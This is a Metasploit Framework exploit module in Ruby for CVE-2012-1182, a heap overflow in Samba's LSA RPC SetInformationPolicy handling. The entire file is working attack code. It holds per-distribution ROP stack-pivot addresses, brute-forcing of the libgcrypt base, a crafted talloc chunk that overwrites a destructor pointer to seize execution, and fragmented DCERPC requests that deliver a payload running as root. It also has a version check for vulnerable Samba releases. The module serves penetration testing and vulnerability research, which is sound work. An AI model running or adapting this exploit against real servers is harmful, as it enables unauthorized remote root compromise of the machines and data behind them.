metasploit-framework/modules/exploits/linux/samba/setinfopolicy_heap.rb

396 lines
13 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::RopDb
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
'Description' => %q{
This module triggers a vulnerability in the LSA RPC service of the Samba daemon
because of an error on the PIDL auto-generated code. Making a specially crafted
call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
trigger a heap overflow and finally execute arbitrary code with root privileges.
The module uses brute force to guess the stackpivot/rop chain or the system()
address and redirect flow there in order to bypass NX. The start and stop addresses
for brute forcing have been calculated empirically. On the other hand the module
provides the StartBrute and StopBrute which allow the user to configure his own
addresses.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'blasty', # Exploit
'mephos', # Metasploit module
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-1182'],
['OSVDB', '81303'],
['BID', '52973'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 600,
},
'Platform' => ['unix', 'linux'],
# smbd process is killed soon after being exploited, need fork with meterpreter
'DefaultOptions' => { "PrependSetreuid" => true, "PrependSetregid" => true, "PrependFork" => true, "AppendExit" => true, "WfsDelay" => 5},
'Targets' =>
[
['2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10',
{
'Arch' => ARCH_X86,
'Offset' => 0x11c0,
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
'Bruteforce' =>
{
'Start' => { 'libgcrypt_base' => 0xb67f1000 },
'Stop' => { 'libgcrypt_base' => 0xb69ef000 },
'Step' => 0x1000
}
}
],
['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.10',
{
'Arch' => ARCH_X86,
'Offset' => 0x11c0,
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
'Bruteforce' =>
{
'Start' => { 'libgcrypt_base' => 0xb68d9000 },
'Stop' => { 'libgcrypt_base' => 0xb6ad7000 },
'Step' => 0x1000
}
}
],
['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.04',
{
'Arch' => ARCH_X86,
'Offset' => 0x11c0,
'Ropname' => 'Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2',
# when stack pivoting, we control dword [esi] (field "next" in talloc chunk), ecx and [esp+4] point to shellcode
'Stackpivot' => 0x0006af03, # pop ecx ; jmp dword [esi] in /lib/i386-linux-gnu/libgcrypt.so.11.6.0
# we jump on "pop ecx, jmp dword [esi] to remove 4 bytes from the stack, then jump on pop esp.. gadget
# to effectively stack pivot
'Stackpivot_helper' => 0x00054e87, #pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ;
'Bruteforce' =>
{
'Start' => { 'libgcrypt_base' => 0xb6973000 },
'Stop' => { 'libgcrypt_base' => 0xb6b71000 },
'Step' => 0x1000
}
}
],
# default version when installing 11.04 is 3.5.8 , 3.5.4 was PROPOSED on CD months before release date
#['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
# {
# 'Arch' => ARCH_CMD,
# 'Offset' => 0x11c0,
# 'Ropname' => 'Ubuntu 11.04 / 2:3.5.4~dfsg-1ubuntu8',
# 'Stackpivot' => 0,
# 'Bruteforce' =>
# {
# # The start should be 0x950 aligned, and then step 0x1000.
# 'Start' => { 'Ret' => 0x00230950 },
# 'Stop' => { 'Ret' => 0x22a00950 },
# 'Step' => 0x1000
# }
# }
#],
['2:3.5.4~dfsg-1ubuntu8 on Ubuntu Server 10.10',
{
'Arch' => ARCH_X86,
'Offset' => 0x11c0,
'Ropname' => 'Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8',
'Stackpivot' => 0x0003e4bc, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
'Bruteforce' =>
{
'Start' => { 'libgcrypt_base' => 0xb694f000 },
'Stop' => { 'libgcrypt_base' => 0xb6b4d000 },
'Step' => 0x1000
}
}
],
['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',
{
'Arch' => ARCH_X86,
'Offset' => 0x11c0,
'Ropname' => 'Debian Squeeze / 2:3.5.6~dfsg-3squeeze6',
'Stackpivot' => 0x0003e30c, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
'Bruteforce' =>
{
'Start' => { 'libgcrypt_base' => 0xb6962000 },
'Stop' => { 'libgcrypt_base' => 0xb6a61000 },
'Step' => 0x1000
}
}
],
['3.5.10-0.107.el5 on CentOS 5',
{
'Arch' => ARCH_X86,
'Offset' => 0x11c0,
'Ropname' => '3.5.10-0.107.el5 on CentOS 5',
'Stackpivot' => 0x0006ad7e, #xchg eax, esp ; xchg eax, ebx ; add eax, 0xCB313435 ; or ecx, eax ; ret in libgcrypt.so.11.5.2
'Bruteforce' =>
{
'Start' => { 'libgcrypt_base' => 0x0037c000 },
'Stop' => { 'libgcrypt_base' => 0x09e73000 },
'Step' => 0x1000
}
}
]
],
'DisclosureDate' => 'Apr 10 2012',
'DefaultTarget' => 0
))
register_options([
OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
], self.class)
end
def exploit
if target.bruteforce?
bf = target.bruteforce
if datastore['StartBrute'] and datastore['StartBrute'] > 0
bf.start_addresses['libgcrypt_base'] = datastore['StartBrute']
end
if datastore['StopBrute'] and datastore['StopBrute'] > 0
bf.stop_addresses['libgcrypt_base'] = datastore['StopBrute']
end
if bf.start_addresses['libgcrypt_base'] > bf.stop_addresses['libgcrypt_base']
raise ArgumentError, "StartBrute should not be larger than StopBrute"
end
end
super
end
def brute_exploit(target_addrs)
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['libgcrypt_base'])
datastore['DCERPC::fake_bind_multi'] = false
datastore['DCERPC::max_frag_size'] = 4248
datastore['DCERPC::smb_pipeio'] = 'trans'
datastore['DCERPC::ReadTimeout'] = 3
pipe = "lsarpc"
connect()
smb_login()
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
dcerpc_bind(handle)
dcerpc.socket.mode = 'rw'
# revert for other exploits
datastore['DCERPC::smb_pipeio'] = 'rw'
cmd = ";;;;" # padding
helper = 0
if target['Arch'] == ARCH_CMD
cmd << "#{payload.encoded}\x00" # system argument
tmp = cmd * (816/cmd.length)
tmp << "\x00"*(816-tmp.length)
ret_addr = addr
elsif target['Arch'] == ARCH_X86
cmd << generate_rop_payload('samba', payload.encoded,{'target'=>target['Ropname'], 'base'=> target_addrs['libgcrypt_base'] })
tmp = cmd
tmp << "\x00"*(816-tmp.length)
ret_addr = target_addrs['libgcrypt_base']+target['Stackpivot']
# will help in stack pivot when it's not eax pointing to shellcode
if target['Stackpivot_helper']
helper = target_addrs['libgcrypt_base']+target['Stackpivot_helper']
end
end
stub = "X" * 20
stub << NDR.short(2) # level
stub << NDR.short(2) # level 2
stub << NDR.long(1) # auditing mode
stub << NDR.long(1) # ptr
stub << NDR.long(100000) # r-> count
stub << NDR.long(20) # array size
stub << NDR.long(0)
stub << NDR.long(100)
stub << rand_text_alpha(target['Offset'])
# Crafted talloc chunk
#stub << 'A' * 8 # next, prev
stub << NDR.long(helper) + 'A'*4 # next, prev
stub << NDR.long(0) + NDR.long(0) # parent, child
stub << NDR.long(0) # refs
# stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
stub << NDR.long(ret_addr) # destructor # will become EIP
stub << NDR.long(0) # name
stub << "AAAA" # size
stub << NDR.long(0xe8150c70) # flags
stub << "AAAABBBB"
stub << tmp # pointer to tmp+4 in $esp
stub << rand_text(32632)
stub << rand_text(62000)
begin
call(dcerpc, 0x08, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
rescue Rex::Proto::DCERPC::Exceptions::Fault
print_error('Server is most likely patched...')
rescue Timeout::Error
print_status("Timeout")
rescue Rex::Proto::SMB::Exceptions::LoginError
print_status("Rex::Proto::SMB::Exceptions::LoginError")
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_status('Server disconnected, this is expected')
end
end
handler()
disconnect()
end
def check
begin
connect()
smb_login()
disconnect()
version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
minor = version.scan(/\.(\d*)$/).flatten[0].to_i
print_status("Version found: #{version}")
return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4
return Exploit::CheckCode::Safe
rescue ::Exception
return CheckCode::Unknown
end
end
# Perform a DCE/RPC Function Call
def call(dcerpc, function, data, do_recv = true)
frag_size = data.length
if dcerpc.options['frag_size']
frag_size = dcerpc.options['frag_size']
end
object_id = ''
if dcerpc.options['object_call']
object_id = dcerpc.handle.uuid[0]
end
if options['random_object_id']
object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
end
call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
call_packets.each { |packet|
write(dcerpc, packet)
}
return true if not do_recv
raw_response = ''
begin
raw_response = dcerpc.read()
rescue ::EOFError
raise Rex::Proto::DCERPC::Exceptions::NoResponse
end
if (raw_response == nil or raw_response.length == 0)
raise Rex::Proto::DCERPC::Exceptions::NoResponse
end
dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
if dcerpc.last_response.type == 3
e = Rex::Proto::DCERPC::Exceptions::Fault.new
e.fault = dcerpc.last_response.status
raise e
end
dcerpc.last_response.stub_data
end
# Used to create standard DCERPC REQUEST packet(s)
def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')
opnum = opnum.to_i
size = size.to_i
ctx = ctx.to_i
chunks, frags = [], []
ptr = 0
# Break the request into fragments of 'size' bytes
while ptr < data.length
chunks.push( data[ ptr, size ] )
ptr += size
end
# Process requests with no stub data
if chunks.length == 0
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
return frags
end
# Process requests with only one fragment
if chunks.length == 1
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
return frags
end
# Create the first fragment of the request
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )
# Create all of the middle fragments
while chunks.length != 1
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
end
# Create the last fragment of the request
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )
return frags
end
# Write data to the underlying socket
def write(dcerpc, data)
dcerpc.socket.write(data)
data.length
end
end